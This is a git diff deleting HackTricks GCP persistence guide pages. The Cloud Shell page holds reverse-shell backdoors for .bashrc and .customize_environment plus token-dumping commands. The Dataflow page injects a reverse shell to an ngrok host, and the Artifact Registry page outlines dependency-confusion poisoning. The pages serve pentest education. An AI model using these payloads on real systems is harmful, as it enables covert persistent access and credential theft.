-For more information about Artifact Registry check:
-
-{% content-ref url="../gcp-services/gcp-artifact-registry-enum.md" %}
-[gcp-artifact-registry-enum.md](../gcp-services/gcp-artifact-registry-enum.md)
-{% endcontent-ref %}
-
-### Dependency Confusion
-
-* What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
-  * The one with the **highest priority set in the virtual repository** is used
-  * If the **priority is the same**:
-    * If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
-    * If not, the **highest version** is used
-
-{% hint style="danger" %}
-Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
-{% endhint %}
-
-This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
-
-For persistence these are the steps you need to follow:
-
-* **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
-* Create a remote repository if it doesn't exist
-* Add the remote repository to the virtual repository
-* Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
-  Run something like:
-  * [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
-* Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
-
-For more information about dependency confusion check:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/dependency-confusion" %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md
deleted file mode 100644
index 6aa03016c..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - BigQuery Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## BigQuery
-
-For more information about BigQuery check:
-
-{% content-ref url="../gcp-services/gcp-bigquery-enum.md" %}
-[gcp-bigquery-enum.md](../gcp-services/gcp-bigquery-enum.md)
-{% endcontent-ref %}
-
-### Grant further access
-
-Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-bigquery-privesc.md" %}
-[gcp-bigquery-privesc.md](../gcp-privilege-escalation/gcp-bigquery-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md
deleted file mode 100644
index 193e168de..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# GCP - Cloud Functions Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Functions
-
-For more info about Cloud Functions check:
-
-{% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %}
-[gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md)
-{% endcontent-ref %}
-
-### Persistence Techniques
-
-* **Modify the code** of the Cloud Function, even just the `requirements.txt`
-* **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
-* **Trigger** a Cloud Function when something happens to infect something
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md
deleted file mode 100644
index 909237bdd..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# GCP - Cloud Run Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Run
-
-For more information about Cloud Run check:
-
-{% content-ref url="../gcp-services/gcp-cloud-run-enum.md" %}
-[gcp-cloud-run-enum.md](../gcp-services/gcp-cloud-run-enum.md)
-{% endcontent-ref %}
-
-### Backdoored Revision
-
-Create a new backdoored revision of a Run Service and split some traffic to it.
-
-### Publicly Accessible Service
-
-Make a Service publicly accessible
-
-### Backdoored Service or Job
-
-Create a backdoored Service or Job
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
deleted file mode 100644
index 5f7960285..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
+++ /dev/null
@@ -1,98 +0,0 @@
-# GCP - Cloud Shell Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Shell
-
-For more information check:
-
-{% content-ref url="../gcp-services/gcp-cloud-shell-enum.md" %}
-[gcp-cloud-shell-enum.md](../gcp-services/gcp-cloud-shell-enum.md)
-{% endcontent-ref %}
-
-### Persistent Backdoor
-
-[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
-
-You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
-
-This console has some interesting capabilities for attackers:
-
-1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
-2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
-3. There is **no capabilities for an organisation to monitor** the activity of that instance.
-
-This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
-
-{% code overflow="wrap" %}
-```bash
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
-```
-{% endcode %}
-
-There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
-
-```bash
-#!/bin/sh
-apt-get install netcat -y
-nc <LISTENER-ADDR> 443 -e /bin/bash
-```
-
-{% hint style="warning" %}
-It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
-{% endhint %}
-
-This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
-
-<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
-
-However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
-
-```bash
-gcloud auth print-access-token
-gcloud auth application-default print-access-token
-```
-
-#### How the SSH connection is stablished
-
-Basically, these 3 API calls are used:
-
-* [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
-* [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
-* [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
-
-But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
-
-## References
-
-* [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
-* [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
-* [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md
deleted file mode 100644
index 1cfe2f833..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# GCP - Cloud SQL Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud SQL
-
-For more information about Cloud SQL check:
-
-{% content-ref url="../gcp-services/gcp-cloud-sql-enum.md" %}
-[gcp-cloud-sql-enum.md](../gcp-services/gcp-cloud-sql-enum.md)
-{% endcontent-ref %}
-
-### Expose the database and whitelist your IP address
-
-A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
-For more information check the technique in:
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md" %}
-[gcp-cloud-sql-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md)
-{% endcontent-ref %}
-
-### Create a new user / Update users password / Get password of a user
-
-To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
-Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
-Remember that **it's possible to list the users of a database** using GCP API.
-
-{% hint style="info" %}
-You can create/update users using GCP API or from inside the databae if you have enough permissions.
-{% endhint %}
-
-For more information check the technique in:
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md" %}
-[gcp-cloud-sql-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md
deleted file mode 100644
index 06a63c4e9..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# GCP - Compute Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Compute
-
-For more informatoin about Compute and VPC (Networking) check:
-
-{% content-ref url="../gcp-services/gcp-compute-instances-enum/" %}
-[gcp-compute-instances-enum](../gcp-services/gcp-compute-instances-enum/)
-{% endcontent-ref %}
-
-### Persistence abusing Instances & backups
-
-* Backdoor existing VMs
-* Backdoor disk images and snapshots creating new versions
-* Create new accessible instance with a privileged SA
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
deleted file mode 100644
index 13153856c..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# GCP - Dataflow Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Dataflow
-
-### Invisible persistence in built container
-
-Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
-
-```bash
-git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
-cd python-docs-samples/dataflow/flex-templates/getting_started
-
-# Create repository where dockerfiles and code is going to be stored
-export REPOSITORY=flex-example-python
-gcloud storage buckets create gs://$REPOSITORY
-
-# Create artifact storage
-export NAME_ARTIFACT=flex-example-python
-gcloud artifacts repositories create $NAME_ARTIFACT \
- --repository-format=docker \
- --location=us-central1
-gcloud auth configure-docker us-central1-docker.pkg.dev
-
-# Create template
-export NAME_TEMPLATE=flex-template
-gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
- --image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
- --sdk-language "PYTHON" \
- --flex-template-base-image "PYTHON3" \
- --metadata-file "metadata.json" \
- --py-path "." \
- --env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
- --env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
- --env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
- --env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
- --region=us-central1
-```
-
-**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
-
-Then, next time the job is executed, the compromised container built will be run:
-
-```bash
-# Run template
-gcloud dataflow $NAME_TEMPLATE run testing \
- --template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
- --parameters=output="gs://$REPOSITORY/out" \
- --region=us-central1
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md
